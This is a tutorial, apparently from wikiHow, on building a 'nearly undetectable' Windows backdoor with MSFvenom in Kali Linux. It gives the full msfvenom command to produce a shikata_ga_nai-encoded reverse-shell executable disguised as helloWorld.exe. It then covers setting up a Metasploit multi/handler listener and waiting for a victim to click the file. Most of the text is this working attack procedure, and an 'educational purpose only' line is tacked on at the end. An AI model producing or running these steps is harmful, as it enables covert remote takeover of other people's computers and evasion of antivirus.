How to Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux

Last Updated: December 6, 2019

A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it's possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you'll learn more about computer security and how this kind of backdoor works.

Steps

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Start up Kali and fire up the Terminal console.
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Type ifconfig to display the interface and check your IP address.

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Type msfvenom -l encoders to show the list of encoders.
- You will use x86/shikata_ga_nai as the encoder.
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Type "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe > helloWorld.exe
- -a x86 --platform windows designates architecture to use.
- -p windows/shell/reverse_tcp designates the payloads to embed.
- LHOST designates the listener IP address.
- LPORT designates the listener port.
- -b "\x00" designates to avoid bad character (null bytes).
- -e x86/shikata_ga_nai designates the encoders name.
- -f exe > helloWorld.exe designates format output.
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Type msfconsole to activate the Metasploit.
- Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
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Type use exploit/multi/handler.
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Type set payload windows/shell/reverse_tcp.
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Type show options to check the module.
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Type set LHOST 192.168.48.129.
- "LHOST" designates the listener IP address.
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Type set LPORT 4444.
- "LPORT" designates the listener port.
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Type run and wait for the connection from victim's machine.
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Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim's machine.

Community Q&A

Question

What do I do if an error pops up when creating the exploit?

MOHMMD ELFA

Community Answer

Make sure you did everything correctly and try again. Make sure your are running Kali Linux.

Warnings

This article is for educational purpose only. Hacking without authorization or permission is unethical and often illegal.

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